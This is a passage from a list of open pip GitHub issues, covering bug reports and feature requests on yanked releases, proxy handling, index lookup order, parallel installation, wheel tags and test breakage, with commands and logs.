from my  [https://github.com/frog-o/pip/tree/pip-source](fork) and read a couple of new values(I would have to create) from setup.py such as dev_config dentry_point and source_dir etc.

>My current plan if you think it is worth while is I would like to add an --with-cvs-source to download  and install  Commands.

>Please note: I don't know much about python or git and I am still learning stumbling my way around right now. 
Do you guys think this is doable?
Should i continue with my work?    
Any commit on my code or things I should do would be welcomed.


user: frog-o
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8315: state: open
title: A bug database and a bug signalling method in pip or withdrawing buggy versions from repos
body: **What's the problem this feature will solve?**
Packages versions known to be buggy and having a bugfix will be installed by pip without any warnings.

What is lacking is some bug signalling method in `pip`, so that the installer would warn or error when a buggy version of a package was about to be installed (e.g. when pinned or inherited from some obsolete requirements of a dependent package).

**More context**
Currently the developers of downstream packages have to add an exclusion in their requirements files manually, but this requires that they moniotor their requirements for issues on Github. If they have many users, with automated builds run upon every change of the upstream package, then those users will come to them and report the bug. In a week or so the issue will be solved (see [#3100](https://github.com/microsoft/LightGBM/issues/3100) as a recent illustration). The problems start when the downstream package is not so popular and no-one notices that it relies on a buggy dependency or two (which is likely, since unpopular, niche packages rarely have automated builds that automatically upgrade after every bugfix). Also if a bug is in a downstream package (e.g. a wrapper with a lot of possible optional dependencies), but is only raised when calling some function from an upstream one, it may be reported and investigated by the incorrect developers team.

**Describe the solution you'd like**
I think that `pip` should have a bug database of known bad package versions (ideally matched with "solutions", i.e. either uprade to a newer bugfixed version or downgrade to the latest known working one). This should be available in a machine-readable format similar to those CVE (vulnerabilities) databases used by linux systems security scanners (tools such as `clair` - see its [data sources list](https://github.com/quay/clair/blob/master/Documentation/drivers-and-data-sources.md)).

I think open-source software quality could be improved that way.

**Practical considerations**
Querying bug databases will likely have impact on installer's performance, so this should be exposed only as a non-default option, to be used primarly by CI/CD automated build systems. The manually built "niche" packages would probably still suffer from the same problem given that they are unlikely to ever adopt this option (just like images in Docker Hub repos rarely use any CVE scanners). So probably the only solution that would apply to all packages would be if the bug database were integrated with an automated bug scanner (with the ability to withdraw buggy versions) and used regularly to monitor packages by PyPI and ideally also Anaconda,


user: mirekphd
labels: type: support: User Support
type: feature request: Request for a new feature
issue_8312: state: open
title: Cannot install CPython 3.10 wheels
body: **Environment**

* pip version: 20.1.1
* Python version: 3.10a0
* OS: Alpine Linux Edge (3.12rc1)

Running inside a container

**Description**
Whenever I build a wheel with `pip wheel .` for a package like Cython, I get an error when installing it, saying the wheel is unsupported. However, `py3-none-any`-wheels install and build fine.

**Expected behavior**
I expected it to install, just like in 3.9.

**How to Reproduce**
Compile CPython 3.10a0 from GitHub, clone Cython, build the wheel, install it.

**Output**

```py
$ pip wheel .
Processing /build/cython
Building wheels for collected packages: Cython
  Building wheel for Cython (setup.py): started
  Building wheel for Cython (setup.py): still running...
  Building wheel for Cython (setup.py): finished with status 'done'
  Created wheel for Cython: filename=Cython-3.0a5-cp310-cp310-linux_x86_64.whl size=5974718 sha256=6d80fb47595bf2090a07ad3836e74ce1391622d34a8166b063adbd557a3ebf40
  Stored in directory: /tmp/pip-ephem-wheel-cache-isxd6eex/wheels/cb/cf/fc/8e1fbc2f1194a1ecc534d6a5475f16b988e7f7ddf7d944bffe
Successfully built Cython
$ pip install Cython-3.0a5-cp310-cp310-linux_x86_64.whl
ERROR: Cython-3.0a5-cp310-cp310-linux_x86_64.whl is not a supported wheel on this platform.
```

**Further Debug Info**

```py
>>> from pip._internal.models.target_python import TargetPython
>>> TargetPython().get_tags()
[<cp3_10-cp3_10-linux_x86_64 @ 140573016538560>, <cp3_10-abi3-linux_x86_64 @ 140573015248832>, <cp3_10-none-linux_x86_64 @ 140573018235392>, <cp39-abi3-linux_x86_64 @ 140573016111168>, <cp38-abi3-linux_x86_64 @ 140573016110784>, <cp37-abi3-linux_x86_64 @ 140573015672896>, <cp36-abi3-linux_x86_64 @ 140573017887232>, <cp35-abi3-linux_x86_64 @ 140573017788480>, <cp34-abi3-linux_x86_64 @ 140573016476096>, <cp33-abi3-linux_x86_64 @ 140573016476736>, <cp32-abi3-linux_x86_64 @ 140573016398080>, <py3_10-none-linux_x86_64 @ 140573024218560>, <py3-none-linux_x86_64 @ 140573016538624>, <py39-none-linux_x86_64 @ 140573023969472>, <py38-none-linux_x86_64 @ 140573016446976>, <py37-none-linux_x86_64 @ 140573014209408>, <py36-none-linux_x86_64 @ 140573016105216>, <py35-none-linux_x86_64 @ 140573016108800>, <py34-none-linux_x86_64 @ 140573016108352>, <py33-none-linux_x86_64 @ 140573016817216>, <py32-none-linux_x86_64 @ 140573016816512>, <py31-none-linux_x86_64 @ 140573016815936>, <py30-none-linux_x86_64 @ 140573016815424>, <cp310-none-any @ 140573016814528>, <py3_10-none-any @ 140573016814912>, <py3-none-any @ 140573016817344>, <py39-none-any @ 140573016776832>, <py38-none-any @ 140573016777344>, <py37-none-any @ 140573016777600>, <py36-none-any @ 140573016778112>, <py35-none-any @ 140573016778496>, <py34-none-any @ 140573016778752>, <py33-none-any @ 140573016779328>, <py32-none-any @ 140573016780160>, <py31-none-any @ 140573016674496>, <py30-none-any @ 140573016675072>]
```

user: Gelbpunkt
labels: project: setuptools: Related to setuptools
type: support: User Support
PEP implementation: Involves some PEP
issue_8300: state: open
title: New resolver: add moar tests for constraints (?) + version-pinning URLs
body: We don’t allow constraints to filter direct requirements, so given the following scenario

```
# constraints.txt
foo>=1.0
```

```
# requirements.txt
foo[add]==1.0
```

This will fail with `installation from path or url cannot be constrained to a version` because we are adding a URL requirement to represent the base.

I’m thinking maybe we should get rid of the check altogether, since constraining a URL requirement by checking the version the URL points to kind of still makes sense? 

_Originally posted by @uranusjr in https://github.com/pypa/pip/pull/8291#discussion_r429101137_
user: pradyunsg
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8273: state: open
title: Tests are broken with virtualenv's rewrite (>=20.0.0)
body: **Environment**

* pip version: 20.1.1
* Python version: all (tested 2.7.18, 3.6.10, 3.7.7, 3.8.3)
* OS: Gentoo Linux

**Description**
After upgrading to virtualenv-20.0.18, all pip tests fail due to missing `path_locations`. I know you know that but I couldn't find any bug tracking this.

**Expected behavior**
I would expect pip tests to work with current releases of virtualenv, however crazy that sounds.

**How to Reproduce**
Change `tools/requirements/tests.txt` to list plain `virtualenv` instead of legacy branch. Run `tox`.

**Output**

```
$ sed -i -e '/virtualenv/s:.*:virtualenv:' tools/requirements/tests.txt 
$ tox -e py38 -- -x
GLOB sdist-make: /tmp/pip/setup.py
py38 inst-nodeps: /tmp/pip/.tox/.tmp/package/1/pip-20.2.dev0.zip
^CERROR: got KeyboardInterrupt signal
_____________________________________________________________________ summary _____________________________________________________________________
  py38: commands succeeded
  congratulations :)
^Cmgorny@pomiot /tmp/pip $ ^C
mgorny@pomiot /tmp/pip $ rm -rf .tox/
mgorny@pomiot /tmp/pip $ tox -e py38 -- -x
GLOB sdist-make: /tmp/pip/setup.py
py38 create: /tmp/pip/.tox/py38
py38 installdeps: -r/tmp/pip/tools/requirements/tests.txt
py38 inst: /tmp/pip/.tox/.tmp/package/1/pip-20.2.dev0.zip
py38 installed: apipkg==1.5,appdirs==1.4.4,atomicwrites==1.4.0,attrs==19.3.0,cffi==1.14.0,coverage==5.1,cryptography==2.8,csv23==0.3.1,distlib==0.3.0,execnet==1.7.1,filelock==3.0.12,freezegun==0.3.15,mock==4.0.2,more-itertools==8.3.0,pip @ file:///tmp/pip/.tox/.tmp/package/1/pip-20.2.dev0.zip,pluggy==0.13.1,pretend==1.0.9,py==1.8.1,pycparser==2.20,pytest==3.8.2,pytest-cov==2.8.1,pytest-forked==1.1.3,pytest-rerunfailures==6.0,pytest-timeout==1.3.4,pytest-xdist==1.27.0,python-dateutil==2.8.1,PyYAML==5.3.1,scripttest==1.3,setuptools==42.0.2,six==1.14.0,virtualenv==20.0.20,Werkzeug==0.16.0,wheel==0.33.6
py38 run-test-pre: PYTHONHASHSEED='39579200'
py38 run-test-pre: commands[0] | python -c 'import shutil, sys; shutil.rmtree(sys.argv[1], ignore_errors=True)' /tmp/pip/tests/data/common_wheels
py38 run-test-pre: commands[1] | python /tmp/pip/tools/tox_pip.py wheel -w /tmp/pip/tests/data/common_wheels -r /tmp/pip/tools/requirements/tests-common_wheels.txt
Collecting setuptools>=40.8.0
  Using cached setuptools-46.4.0-py3-none-any.whl (583 kB)
  Saved ./tests/data/common_wheels/setuptools-46.4.0-py3-none-any.whl
Collecting wheel
  Using cached wheel-0.34.2-py2.py3-none-any.whl (26 kB)
  Saved ./tests/data/common_wheels/wheel-0.34.2-py2.py3-none-any.whl
Skipping setuptools, due to already being wheel.
Skipping wheel, due to already being wheel.
py38 run-test: commands[0] | pytest --timeout 300 -x
=============================================================== test session starts ===============================================================
platform linux -- Python 3.8.3, pytest-3.8.2, py-1.8.1, pluggy-0.13.1
rootdir: /tmp/pip, inifile: setup.cfg
plugins: xdist-1.27.0, forked-1.1.3, timeout-1.3.4, rerunfailures-6.0, cov-2.8.1
timeout: 300.0s
timeout method: signal
timeout func_only: False
collected 2006 items                                                                                                                              

tests/functional/test_broken_stdout.py ...                                                                                                  [  0%]
tests/functional/test_cache.py E

===================================================================== ERRORS ======================================================================
________________________________________________________ ERROR at setup of test_cache_dir _________________________________________________________

request = <SubRequest 'virtualenv_template' for <Function 'test_cache_dir'>>
tmpdir_factory = <_pytest.tmpdir.TempdirFactory object at 0x7f9499734910>, pip_src = Path('/tmp/pytest-of-mgorny/pytest-0/pip_src0/pip_src')
setuptools_install = Path('/tmp/pytest-of-mgorny/pytest-0/setuptools0/install'), common_wheels = Path('/tmp/pip/tests/data/common_wheels')

    @pytest.fixture(scope='session')
    def virtualenv_template(request, tmpdir_factory, pip_src,
                            setuptools_install, common_wheels):
    
        if six.PY3 and request.config.getoption('--use-venv'):
            venv_type = 'venv'
        else:
            venv_type = 'virtualenv'
    
        # Create the virtual environment
        tmpdir = Path(str(tmpdir_factory.mktemp('virtualenv')))
>       venv = VirtualEnvironment(
            tmpdir.joinpath("venv_orig"), venv_type=venv_type
        )

tests/conftest.py:303: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
tests/lib/venv.py:31: in __init__
    self._update_paths()
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

self = <VirtualEnvironment /tmp/pytest-of-mgorny/pytest-0/virtualenv0/venv_orig>

    def _update_paths(self):
>       home, lib, inc, bin = _virtualenv.path_locations(self.location)
E       AttributeError: module 'virtualenv' has no attribute 'path_locations'

tests/lib/venv.py:35: AttributeError
============================================================= short test summary info =============================================================
ERROR tests/functional/test_cache.py::test_cache_dir
======================================================== 3 passed, 1 error in 6.14 seconds ========================================================
ERROR: InvocationError for command /tmp/pip/.tox/py38/bin/pytest --timeout 300 -x (exited with code 1)
_____________________________________________________________________ summary _____________________________________________________________________
ERROR:   py38: commands failed
```

user: mgorny
labels: C: tests: Testing and related things
type: maintenance: Related to Development and Maintenance Processes
issue_8262: state: open
title: pip does not ignore yanked version of package in unqualified installation when it's the only non-prerelease choice
body: **Environment**

* pip version: 20.1
* Python version: 3.8.2
* OS: Arch Linux (using `pyenv` + `virtualenv`)

**Description**

If you have a package named `mypkg` with the following versions:

- `1.0` (Yanked)
- `2.0rc0`

Running `pip install mypkg` will install `1.0` rather than `2.0rc0`.

**Expected behavior**
I would have expected `2.0rc0` to be installed, since that is what would happen if `mypkg` *only* published version `2.0rc0`. This seems to be an edge case not super well-clarified in PEP 592, which states:

> An installer MUST ignore yanked releases, if the selection constraints can be satisfied with a non-yanked version, and MAY refuse to use a yanked release even if it means that the request cannot be satisfied at all. An implementation SHOULD choose a policy that follows the spirit of the intention above, and that prevents "new" dependencies on yanked releases/files.

I believe `2.0rc0` satisfies the constraints specified if you do not consider "didn't include `--pre`" to be a constraint, so depending on whether `--pre` or its absence a "constraint", this may be a violation of the spec. I think the fact that `pip install` will take release candidates if nothing else matches argues in favor of it *not* being considered a "constraint".

More clearly, though, it does not fit one of the two suggested implementation strategies:

>  1. Yanked files are always ignored, unless they are the only file that matches a version specifier that "pins" to an exact version using either == (without any modifiers that make it a range, such as .*) or ===. Matching this version specifier should otherwise be done as per PEP 440 for things like local versions, zero padding, etc.
> 2. Yanked files are always ignored, unless they are the only file that matches what a lock file (such as Pipfile.lock or poetry.lock) specifies to be installed. In this case, a yanked file SHOULD not be used when creating or updating a lock file from some input file or command.

Regardless of "spec lawyering", from a user experience point of view, I am personally in favor of `pip` refusing to install yanked versions *at all* without an exact version pin (option 1). Right now it installs them but with a warning; I think the warning could be turned into an error that lists the yanked versions, and end users who want to work around the "can't find a matching version" can add an exact version pin (though admittedly in some circumstances this can have perverse consequences if a package yanks a version because there's something wrong with it and a consumer pins to the exact version as a workaround, thus preventing an update to a later working, non-yanked version).

**How to Reproduce**

At the moment the `tzdata` package has only yanked and release candidate packages on PyPI (and only release candidate packages on Test PyPI). Until a proper release is made of `tzdata`, you can reproduce it with:

- `pip install tzdata`: To see the bug
- `pip install --index-url https://test.pypi.org/simple/ tzdata`: To see `pip`'s behavior when only release candidates are available.
user: pganssle
labels: type: bug: A confirmed bug or unintended behavior
type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
PEP implementation: Involves some PEP
C: finder: PackageFinder and index related code
issue_8259: state: open
title: `pip config` should support `add` and `remove`  commands
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

I use the pip config command quite a lot, but it does not allow me to add multiple entries to trusted-hosts or to remove a value from the config. This would greatly improve usability for me.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

Being able to add a value to trusted hosts or index-url with:
```
pip config add global.trusted-host artifactory.mycompany.com
pip config remove global.trusted-host artifactory.mycompany.com
```
<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->
Currently I just use preexisting configs and keep swapping them out. However, this is an interim solution that is really not helping. Our company has a tight lockdown on the network, and when we switch to external networks, we need to remove the index-urls and add external ones to trusted hosts. We would rather not directly download from pypi or files.pythonhosted.org on company VPN.

Additionally, this is very different from ```pip config set``` which sets and unsets absolute values. In this scenario, I could engineer a mix of values from separate configs. This would allow me to swap out registries and add them back without macguyvering solutions like I do today.

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->
This is why I had originally created the following issues:  #7803 and #7804 
user: stonecharioteer
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8254: state: open
title: Clarify Proxy Behaviour Documentation
body: **Environment**

* pip version: Current Documentation as of May 2020
* Python version: All
* OS: All
* Native English (UK) Speaker
* Computer Literate

<!-- Feel free to add more information about your environment here -->

**Description**

The documentation also needs to be clearer as https://pip.pypa.io/en/stable/user_guide/#using-a-proxy-server lists the options but does not give precedence and PIP_USER_AGENT_USER_DATA gives no usage details.

**Expected behaviour**
<!-- A clear and concise description of what you expected to happen. -->
I would like the documentation to explicitly state the usage and precedence 

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Read https://pip.pypa.io/en/stable/user_guide/#using-a-proxy-server
2. Try to decide the precedence of the settings 
3. Try to use any but PIP_USER_AGENT_USER_DATA from behind a firewall.
4. Get it wrong more than once! _e.g.: Do the environmental settings override the command line or vice-versa?_

**Output**
Confused user _or possibly one illegally connecting company computer to internet through a mobile phone_
```
Paste the output of the steps above, including the commands themselves and
pip's output/traceback etc.
```
_Can't paste a confused expression here just :-(_
user: GadgetSteve
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8246: state: open
title: Enable pip-list to print packages in dependency order.
body: **What's the problem this feature will solve?**
User should be able to determine the order to install python packages so that the entire state can be reproduced with out issues from transitive dependencies?

**Describe the solution you'd like**
pip list prints packages in alphabetical order. Instead the user may need to get the package list ordered corresponding to its dependencies

This is useful when we need to restore a [virtual environment](https://docs.python.org/3/library/venv.html) state with just the package list. If we use package list from default 'pip list', it will install different versions of package due to transitive dependencies.

**Alternative Solutions**
[pipdeptree](https://pypi.org/project/pipdeptree/) displaying the installed python packages in form of a dependency tree.  User can manually select the install order from this. But it needs time and effort and is often error prone.

**Additional context**
printing packages in dependency order can fail sometime, in case of cyclic dependencies. In this case pip can print a commented message saying that it failed to find an install order.

user: kiranik
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8238: state: open
title: Change pip --force-reinstall behaviour
body: ## What is this?
This is a proposal to make `pip`  how `pip --force-reinstall` works.

The difficulty here is this is current behaviour, and this would modify how pip works.

## What is the problem?
Currently, when `pip install [package-name] --force-reinstall` is executed, instead of reinstalling the package *at the version* previously installed, pip installs the package *at the newest version available*.

i.e. `pip install [package name] --force-reinstall` acts as `pip [package name] --upgrade`

Using the Nielsen Norman good usability heuristics, this behaviour goes against [#2: Match between system and the real world.](https://www.nngroup.com/articles/ten-usability-heuristics/) This behaviour would be confusing to a new pip user. 

## What does `pip` user guide say?
About `--force-reinstall` the pip [user guide](https://pip.pypa.io/en/stable/reference/pip_install/#options) says:

>     Reinstall all packages even if they are already up-to-date.

## Replicate
<details>
  <summary>See below:</summary>

testbox@testbox:~/code/reinstall-test$ pip install click==5.0.0
Collecting click==5.0.0
   Downloading https://files.pythonhosted.org/packages/af/55/056901e9f504a7cda9e955592360ce2c516b2b92f3da9318ba074be5d280/click-5.0-py2.py3-none-any.whl (65kB)
     100% |████████████████████████████████| 71kB 441kB/s 
 Installing collected packages: click
 Successfully installed click-5.0
 osboxes@osboxes:~/code/reinstall-test$ pip install --force-reinstall click
 Collecting click
   Downloading https://files.pythonhosted.org/packages/d2/3d/fa76db83bf75c4f8d338c2fd15c8d33fdd7ad23a9b5e57eb6c5de26b430e/click-7.1.2-py2.py3-none-any.whl (82kB)
     100% |████████████████████████████████| 92kB 303kB/s 
 Installing collected packages: click
   Found existing installation: click 5.0
     Uninstalling click-5.0:
       Successfully uninstalled click-5.0
 Successfully installed click-7.1.2
 </details>

## Possible solutions
### Best solution
When the user issues:

`pip install [package name] --force-reinstall`

they are prompted:
`You had [package name] version [a.b.c] installed. Would you like to update to version [a.b.f]? Y/N`

This solution would:
1. make --force-reinstall behave as expected
2. maintain previous behaviour if the user requested it

### Minimum solution
When a user issues:

`pip install [package name] --force-reinstall`

[package name] is reinstalled at the version it was previously installed at.

### Other solutions
- deprecate the --force-install

## Next steps
Carry out a survey of pip users to get their understanding of what pip --force-reinstall *does* and *should do*, and what their opinions would be if the change to behaviour was made.

Based on a Zulip thread about about confusing current pip behaviour, we should audit the current pip commands to see they match the executed commands.

https://www.notion.so/simplysecure/Improve-the-CLI-structure-8238-d13ed2b1d0b64449b532cddd6df90a0e


## Additional context**
Link to [the discussion in Zulip](https://python.zulipchat.com/#narrow/stream/218659-pip-development/topic/Current.20Resolver.20Behaviour).
user: ei8fdb
labels: UX: User experience related
UX: functionality research epic: Temporary label to link tickets to #8516
issue_8232: state: open
title: Be able to use different proxies for different index urls
body: **What's the problem this feature will solve?**

Possibly this is already known but I could not find an easy solution.
Currently pip does support the use of proxies, but as far as I understand it will only rely on one proxy, and use it for every access. The following scenario would therefore introduce problems:

- a company has both an internal pypi server for its own internal packages, and uses external access to the official pypi.
- the company has set up a proxy. All connections to external urls go through the proxy, but all connections to internal ones must not (or you get an error).

Now, when the configuration is done for the browser, this is not a problem, as the automatic setup uses a proxy.pac script that is able to use logic that maps the requested URL to the proxy server to use (or when not to use it). pip however cannot take advantage of this, and if you have the above situation, you can either connect to the local pypi but not the external one (without proxy setup) or only to the external one but not the local one (with proxy setup)

**Describe the solution you'd like**

pip already supports a --proxy option. The following solutions could be implemented:
1. extend the grammar of this option to support multiple entries that are mapped to index and extra index, in order.
2. consider --proxy as the default and to extend the --index-url or --extra-index-url so that both the url and the optional proxy can be passed in some form
3. add specific proxy options --index-proxy-url and --extra-index-proxy-url. Given that it's possible to specify multiple --extra-index-url entries, proper mapping must be done. 

**Alternative Solutions**

Unsure. It might be that there's a smarter solution that does not involve pip.

**Additional context**

I am unsure how the proxy setup scenario given above is prevalent out there. I am sure however that at the moment I am experiencing it.
user: stefanoborini
labels: C: proxy: Dealing with proxies and networking
resolution: deferred till PR: Further discussion will happen when a PR is made
type: feature request: Request for a new feature
issue_8228: state: open
title: Disable caching locally built wheels when using pre-release versions of python
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

The ABI is not guaranteed to be stable on the development versions of Python.  This can be cause problems ( https://bugs.python.org/issue40574) if the a wheel of a package with c-extensions is built and cached across commits that change the ABI.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

I would like the caching of locally built wheels that have c-extensions to be disabled when using a pre-release version of Python.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

 - an option to not cache locally generated wheels (but otherwise use the cache for downloaded wheels and tarballs).  This would fully solve the problem if it is available but default to caching.
 - manually using `--no-binary :all:` on every pip call.  This is ok, but will not use wheels that are safe to use because they use the restricted c-api (for example pyqt5)
 - remembering to use `--no-binary` on a per-case basis for known problematic packages.  This is very whack-a-mole prone
 - manually clearing the cache of problematic packages which re-building python, same whack-a-mole problem as the per-package `--no-binary`
 -  Fully disabling the cache (which also holds universal wheels and tarballs), but this is too blunt of an knob.


**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

I recognize that this is a very niche problem affecting only people who are building cpython master branch and then building a large application environment on top of it (there are Dozens of us!), but hopefully the complexity to protect users from using bad local wheels is not too high.
user: tacaswell
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8224: state: open
title: Pip should provide a way to specify index lookup order
body: **What's the problem this feature will solve?**

Currently, --extra-index-url will always operate after the pypi url, no matter what.
This has already been debated at length in #3454 and #5045, where it is hinted that not even by specifying --index-url takes over the order.

In these issues, the accepted solution is to use devpi, or just to use a non-taken name on pypi. However, both these solutions are workarounds:

1. not all of us can use devpi. I am personally relying on artifactory with pypi support, and in large corporate environments you can't just install whatever you want.
2. If I were to use a name that is not used on pypi, my service would break as soon as someone registers that name on pypi and puts versions that are above mine, basically taking over my installation. This is not only annoying, but also a security problem.
3. if I were to register the name on pypi (which is not possible, unless you can push something to it, possibly fake), I could leak internal information about my company's process through the naming of the entities I reserve.

**Describe the solution you'd like**

Pip should have an additional option to specify exactly the order in which to honor the lookup for pypi services. This will allow to preserve backward compatibility, while solving the above issues.

**Alternative Solutions**

Workarounds are suboptimal, fragile, potentially a security issue, and rely on solutions that might not be implementable in a large corporate environment.

**Additional context**

See above posted issues.

user: stefanoborini
labels: state: needs discussion: This needs some more discussion
resolution: needs standard: Should be agreed as a standard before implementation
issue_8190: state: open
title: Pip search package in pypi server instead of search in local folder
body: **Environment**

* pip version: 20.1
* Python version: Python 3.8.2 | packaged by conda-forge | (default, Mar  5 2020, 17:29:01) [MSC v.1916 64 bit (AMD64)] on win32
* OS: Windows 10

**Description**
Probably not quite the right option to install the package, but it is in this way that the package is formed, which includes one of the dependencies in the form of whl / dist (it does not matter). According to the manual, pip easily installs pip install whl from local folder:

```
>>> pip install need_install_pkg-1.0.0-py3-none-any.whl
Looking in indexes: https://pypi.org/simple/
Processing .\need_install_pkg-1.0.0-py3-none-any.whl
Installing collected packages: need-install-pkg
Successfully installed need-install-pkg-1.0.0
```
Same if use -r
```
>>> pip install -r requirements.txt
Looking in indexes: https://pypi.org/simple/
Processing .\need_install_pkg-1.0.0-py3-none-any.whl
Installing collected packages: need-install-pkg
Successfully installed need-install-pkg-1.0.0
```

But when I try to install
```
>>> pip install test_pkg-1.0.0.tar.gz -vvv --log log.txt
```
It try to find need_install_pkg-1.0.0-py3-none-any.whl on pypi server.
Full log of result:
[log.zip](https://github.com/pypa/pip/files/4576412/log.zip)

If `need_install_pkg` is already installed then all ok, it skip step of installation. But I can't install it in such way.

**Expected behavior**
Same behavior as installation from simple `requirements.txt`: First try to find package in local storage.

**How to Reproduce**
Test files:
[ex.zip](https://github.com/pypa/pip/files/4576419/ex.zip)
Try:
```
>>> pip install test_pkg-1.0.0.tar.gz -vvv --log log.txt
```
**Output**

I expect that it should install `test_pkg-1.0.0.tar.gz` with `need_install_pkg-1.0.0-py3-none-any.whl`

user: Zoynels
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8187: state: open
title: Parallelizing the install process + PoC!
body: First of all, kudos guys on the v20+ release  :+1:  , wheel caching is much better and the addition of cached built wheels is an awesome time saver.

**TL;DR**
Reference implementation for `pip install --parallel` , which will download inspect and install packages in parallel, highly accelerating the installation environment of an entire project (or actually any `requirements.txt` file).
A few speedup numbers (Ubuntu w/ python 3.6):
```console
Requirements variant  | Parallel+D/L | PyPi v20.1+D/L | Speedup incl' Download | Parallel | PyPi v20.1 | Speedup Cached Wheels
--------------------- | ------------ | -------------- | ---------------------- | -------- | ---------- | ----------------------
A                     | 0:58.14      | 1:51.08        | x1.90                  | 0:16.16  | 0:33.57    | x2.08
B                     | 5:47.36      | 6:55.49        | x1.19                  | 0:52.19  | 1:12.07    | x1.37
C                     | 0:56.08      | 1:44.34        | x1.86                  | 0:14.36  | 0:29.21    | x2.01
D                     | 0:36.45      | 1:39.55        | x2.71                  | 0:14.59  | 0:33.20    | x2.22
--------------------- | ------------ | -------------- | ---------------------- | -------- | ---------- | ----------------------
Average               |              |                | x1.91                  |          |            | x1.92
```

**Details:**
[We](https://github.com/allegroai) heavily rely on pip to set up environments on our ever changing production systems.
Specifically either setting a new virtual environment or inside a docker, the full implementation of our ML/DL agent is open-source and can be found here: [https://github.com/allegroai/trains](https://github.com/allegroai/trains)

With the introduction of pip 20.1 we decided to try and parallelize the pip install process in order to save precious spin up time.

1. The package resolving & download was moved into a `ThreadPool` (`RequirementSet` was added a global lock). The only caveat is the download progress bar (more on that down below).

The reason for using Threads is the fact that most of the speedup here is Network and I/O which are parallelized well on python Threads. The second reason is the way `RequirementSet` is constancy growing with every package discovered, and it's requirements. Sharing the set among all threads
is quite trivial, as opposed to sharing them across processes.

2. Wheel files (only) installation process moved to a Process `Pool`, as installing the wheels will not execute any script, and can be parallelized without risk.

The reason for choosing Processes over Threads is the limiting factor here is actually CPU cycles in the installation process. Also the Wheel unpacking and copying is totally independent from one another and the rest of the process, and lastly order has no meaning in this stage as the requirements order is only important when building packages.

3. Unpacking the wheels was optimized to reuse the unpacked folders, this happens between the inspection part (`resolver`) on a cached wheel and the installation of the same wheel (essentially what happened was the wheel was unpacked twice)

4. Solving the parallel progress bar: The progress bar has now a global lock, the first progress-bar to acquire it, will be the one outputting the progress to the *tty*. Once the progress-bar is done, another instance can acquire the lock and will continue to report from its current progress stage.
This looks something like:
```console
|████████████████████████████████| 101 kB 165 kB/s 
|█                           | 71 kB 881 kB/s eta 0:00:03

```


The full reference code can be found [here](https://github.com/bmartinn/pip/commits/multi_threaded_install)
Usage example:
```bash
pip install --parallel -r requirements.txt
```
user: bmartinn
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_8176: state: open
title: Output of "pip freeze" and "pip list --format=freeze" differ for packages installed via Direct URLs
body: Originally found while triaging https://github.com/pypa/pip/issues/8174

**Environment**

* pip version: 20.1
* Python version: 3.8.2
* OS: OSX Catalina

**Description**
<!-- A clear and concise description of what the bug is. -->

On performing an install using a direct URL in a virtualenv with `wheel` present, the output of `pip freeze` and `pip list --format=freeze` differ in the way the package is listed

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->

`pip list --format=freeze `follows the output format style of `pip freeze`, and so if the output of pip freeze changes in the case of installations with direct URL, `pip list --format=freeze` should follow suit and do the same.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Create a virtualenv
2. Upgrade pip in the virtualenv, and install wheel
3. Install a package using the direct URL (git VCS URL in this case)
4. See that the output of `pip freeze` and `pip list --format=freeze` differ

**Output**

```
$ python -m venv venv
$ source venv/bin/activate

(venv)$ pip install -U pip
Collecting pip
  Using cached https://files.pythonhosted.org/packages/54/2e/df11ea7e23e7e761d484ed3740285a34e38548cf2bad2bed3dd5768ec8b9/pip-20.1-py2.py3-none-any.whl
Installing collected packages: pip
  Found existing installation: pip 19.2.3
    Uninstalling pip-19.2.3:
      Successfully uninstalled pip-19.2.3
Successfully installed pip-20.1

(venv) $ pip install wheel
Collecting wheel
  Using cached wheel-0.34.2-py2.py3-none-any.whl (26 kB)
Installing collected packages: wheel
Successfully installed wheel-0.34.2

(venv) $ pip install git+https://github.com/pypa/twine
Collecting git+https://github.com/pypa/twine
  Cloning https://github.com/pypa/twine to /private/var/folders/xg/blp845_s0xn093dyrtgy936h0000gp/T/pip-req-build-shjhv6hl
  Running command git clone -q https://github.com/pypa/twine /private/var/folders/xg/blp845_s0xn093dyrtgy936h0000gp/T/pip-req-build-shjhv6hl
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
    Preparing wheel metadata ... done
Collecting pkginfo>=1.4.2
  Using cached pkginfo-1.5.0.1-py2.py3-none-any.whl (25 kB)
Requirement already satisfied: setuptools>=0.7.0 in ./venv/lib/python3.8/site-packages (from twine==3.1.2.dev58+gda8d62f) (41.2.0)
Collecting readme-renderer>=21.0
  Using cached readme_renderer-26.0-py2.py3-none-any.whl (15 kB)
